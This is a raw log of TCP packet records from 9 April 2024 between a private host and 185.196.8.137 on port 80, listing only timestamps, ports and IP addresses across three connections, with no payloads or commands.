Apr 9, 2024 14:54:02.258887053 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.258903027 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.258925915 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.258939028 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.258974075 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.259018898 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.259032011 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.259043932 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.259056091 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.259067059 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.259078979 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.259093046 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.259103060 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.259135008 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.259147882 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.259171963 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.259186983 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.259201050 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.259223938 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.259269953 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.259284019 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.259303093 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.259308100 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.259335995 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.259368896 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.259382010 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.259391069 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.259418011 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.259427071 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.259438992 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.259449959 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.259459972 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.259488106 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.259506941 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.259519100 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.259531021 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.259541988 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.259556055 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.259587049 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.259613991 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.259627104 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.259638071 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.259649038 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.259660959 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.259664059 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.259687901 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.259715080 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.259727001 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.259737968 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.259752035 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.259767056 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.259769917 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.259788990 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.259823084 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.259850025 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.259861946 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.259872913 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.259897947 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.259900093 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.259937048 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.259938002 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.259999990 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.260035992 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.260062933 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.260075092 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.260086060 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.260097027 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.260114908 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.260124922 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.260143042 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.260199070 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.260210037 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.260237932 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.260240078 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.260263920 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.260272980 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.260276079 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.260318041 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.260322094 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.260335922 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.260348082 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.260358095 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.260371923 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.260396957 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.260412931 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.260426998 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.260469913 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.260484934 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.260524035 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.260559082 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.260585070 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.260634899 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.260647058 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.260668993 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.260678053 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.260691881 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.260720015 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.260762930 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.260776043 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.260786057 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.260803938 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.260821104 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.260827065 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.260833979 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.260857105 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.260869026 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.260901928 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.260915041 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.260940075 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.260957003 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.260999918 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.261002064 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.261069059 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.261112928 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.261142015 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.261194944 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.261214972 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.261234045 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.261240959 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.261253119 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.261280060 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.261339903 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.261353970 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.261380911 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.261449099 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.261466980 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.261491060 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.310616970 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.339693069 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.339735985 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.518887043 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.543991089 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.591877937 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.175137997 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.175260067 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.351982117 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.352143049 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.352298975 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.352492094 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.376946926 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.377070904 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.553698063 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.553781033 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.554619074 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.554636955 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.554709911 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.554708958 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.554708958 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.554728031 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.554785013 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.554795027 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.554799080 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.554811001 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.554841995 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.554841995 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.554860115 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.554867983 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.554883957 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.554905891 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.554919004 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.554927111 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.554929018 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.554974079 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.555001974 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.555191040 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.555253029 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.555303097 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.555340052 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.555340052 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.555377960 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.555377960 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.555408001 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.555433035 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.555463076 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.555490971 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.555517912 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.555552006 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.555552006 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.555583000 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.555602074 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.555629015 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.555656910 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.555691004 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.555691004 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.555721998 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.555738926 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.555764914 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.555793047 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.555820942 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.555845022 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.555886984 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.555887938 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.555941105 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.555941105 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.555977106 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.555977106 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.556006908 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.556025028 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.556052923 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.556081057 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.556099892 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.556127071 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.556163073 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.556163073 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.556195021 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.556211948 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.556257010 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.556287050 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.556288004 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.556324005 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.556324005 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.556425095 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.556457043 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.556457043 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.556484938 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.556520939 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.556549072 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.556583881 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.556583881 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.556633949 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.556633949 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.556669950 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.556689978 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.556719065 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.559670925 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.559700966 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.559724092 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.559752941 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.559777021 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.559813976 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.559813976 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.559945107 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.561831951 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.561881065 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.561909914 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.561944008 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.561944008 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.561975002 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.561990976 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562019110 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562045097 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562078953 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562079906 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562109947 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562127113 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562263966 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562290907 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562319994 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562319994 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562351942 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562385082 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562385082 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562421083 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562421083 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562452078 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562469959 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562489033 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562515020 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562546968 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562546968 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562577963 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562608004 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562608004 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562645912 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562645912 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562675953 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562695026 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562725067 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562725067 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562757969 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562798023 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562798023 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562833071 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562833071 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562868118 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562868118 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562889099 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562908888 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562936068 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562962055 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562994957 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.562994957 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.563025951 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.563047886 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.563076019 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.563105106 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.563106060 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.563143015 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.563143015 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.563173056 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.563205957 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.563205957 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.563237906 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.563266993 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.563266993 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.563299894 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.567250013 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.567312956 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.567369938 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.567369938 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.567370892 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.567405939 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.567531109 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.567631960 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.567658901 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.567687035 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.567713022 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.567739010 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.567759037 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.567778111 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.567801952 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.567830086 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.567858934 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.567886114 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.567902088 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.567929029 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.567960978 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.567960978 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.568242073 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.568275928 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.568275928 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.568306923 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.568325043 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.568358898 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.568358898 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.568388939 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.568408012 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.568438053 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.568466902 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.568562031 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.568588972 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.568618059 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.568644047 CEST	49740	80	192.168.2.4	185.196.8.137
